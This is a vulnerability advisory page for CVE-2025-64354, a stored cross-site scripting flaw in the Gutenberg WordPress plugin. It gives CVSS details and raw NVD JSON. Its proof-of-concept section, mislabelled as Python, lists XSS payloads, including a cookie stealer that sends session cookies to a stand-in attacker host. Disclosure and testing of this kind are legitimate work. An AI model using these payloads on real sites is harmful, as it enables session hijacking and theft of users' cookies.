Security Vulnerability Report
中文
CVE-2025-64354 CVSS 6.5 MEDIUM

CVE-2025-64354

Published: 2025-10-31 12:15:36
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Matias Ventura Gutenberg gutenberg allows Stored XSS.This issue affects Gutenberg: from n/a through <= 21.8.2.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Gutenberg <= 21.8.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Gutenberg Stored XSS PoC - CVE-2025-64354 --> <!-- This PoC demonstrates the stored XSS vulnerability in Gutenberg <= 21.8.2 --> <!-- Steps to reproduce: 1. Login to WordPress with author or higher privileges 2. Create a new post or edit an existing one 3. Add an HTML block 4. Insert the following payload: --> <!-- Basic XSS Payload --> <script>alert(document.cookie)</script> <!-- Event Handler XSS Payload --> <img src=x onerror=alert('XSS')> <!-- SVG XSS Payload --> <svg onload=alert(document.domain)> <!-- Stored Cookie Stealer --> <script> fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)); </script> <!-- WordPress Admin Privilege Escalation Test --> <script> if(document.cookie.includes('wordpress_sec_')) { console.log('WordPress admin session detected'); // Steal admin session } </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64354", "sourceIdentifier": "[email protected]", "published": "2025-10-31T12:15:35.790", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Matias Ventura Gutenberg gutenberg allows Stored XSS.This issue affects Gutenberg: from n/a through <= 21.8.2."}, {"lang": "es", "value": "Neutralización incorrecta de la entrada durante la generación de páginas web ('Cross-site Scripting') vulnerabilidad en Matias Ventura Gutenberg gutenberg permite XSS almacenado. Este problema afecta a Gutenberg: desde n/a hasta menor igual que 21.8.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/gutenberg/vulnerability/wordpress-gutenberg-plugin-21-8-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}